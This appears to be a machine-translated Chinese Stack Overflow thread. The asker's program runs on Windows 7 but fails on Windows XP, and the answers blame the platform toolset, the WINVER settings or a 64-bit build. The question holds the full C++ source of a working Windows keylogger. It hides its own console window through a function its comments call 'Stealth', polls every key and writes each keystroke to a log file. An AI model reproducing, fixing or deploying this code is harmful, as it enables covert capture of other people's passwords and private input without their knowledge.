我正在Visual Studio 2013中编译以下代码。它在我的Windows 7上运行,我在其上编译代码。但是,当我将exe文件移动到另一个窗口,如windows xp sp2时,它无法在其上运行。当我在windows xp sp2上运行此exe文件时,在输出中显示以下消息。
keylogger.exe不是有效的win32应用程序。
如何解决此错误?以下代码是程序的源代码,有错误。
#include <iostream>
#include <windows.h>
#include <winuser.h>
using namespace std; //used to avoid the compilation errors because of redefinition of variables.
int SaveLogs(int key_stroke, char *file);
void Stealth(); //Declare stealth function to make you keylogger hidden
int main()
{
Stealth(); // This will call the stealth function.
char i; //Here we declare 'i' from the type 'char'
while (1){
// Here we say 'while (1)' execute the code.
for (i = 8; i <= 190; i++){
if (GetAsyncKeyState(i) == -32767)
SaveLogs(i, "MYLOGS.txt");
// This will send the value of 'i' and "MYLOGS.txt" to our SaveLogs function.
}
}
system("PAUSE"); // Here we say that the system have to wait before exiting.
return 0;
}
int SaveLogs(int key_stroke, char *file) // Here we define our SaveLogs function.
{
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 8) // The numbers stands for the ascii value of a character
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (key_stroke == 13)
fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32)
fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (key_stroke == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (key_stroke == VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if (key_stroke == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if (key_stroke == VK_END)
fprintf(OUTPUT_FILE, "%s", "[END]");
else if (key_stroke == VK_HOME)
fprintf(OUTPUT_FILE, "%s", "[HOME]");
else if (key_stroke == VK_LEFT)
fprintf(OUTPUT_FILE, "%s", "[LEFT]");
else if (key_stroke == VK_UP)
fprintf(OUTPUT_FILE, "%s", "[UP]");
else if (key_stroke == VK_RIGHT)
fprintf(OUTPUT_FILE, "%s", "[RIGHT]");
else if (key_stroke == VK_DOWN)
fprintf(OUTPUT_FILE, "%s", "[DOWN]");
else if (key_stroke == 190 || key_stroke == 110)
fprintf(OUTPUT_FILE, "%s", ".");
else
fprintf(OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
void Stealth()
{
HWND Stealth;
AllocConsole();
Stealth = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(Stealth, 0);
}
答案 0 :(得分:3)
这与您的程序无关,但与不支持Windows XP的平台工具集无关。
在Visual Studio 2013中,使用命令 PROJECT - 属性,并在配置属性 - &gt; General-&gt; Platform Toolset 下选择“Visual Studio 2013 - Windows XP( v120_xp)“或包含”_xp“的任何其他工具集。
答案 1 :(得分:2)
假设您选择了正确的目标体系结构(x86与amd64),可能您使用的是WinXP不支持的Winapi版本。
您必须正确设置WINVER
和_WIN32_WINNT
定义,以定义要使用的API版本。如果你将它们设置为低,一些功能可能不可用,但你的程序也将在较旧的Windows版本上运行,预先安排正确的运行时dll安装。
仔细阅读本文以了解如何选择API级别:
http://msdn.microsoft.com/en-us/library/windows/desktop/aa383745%28v=vs.85%29.aspx
答案 2 :(得分:1)
您的Windows 7是64位
您的Windows XP是32位
Keylogger.exe是一个64位应用程序,只能在64位Windows = Windows 7上运行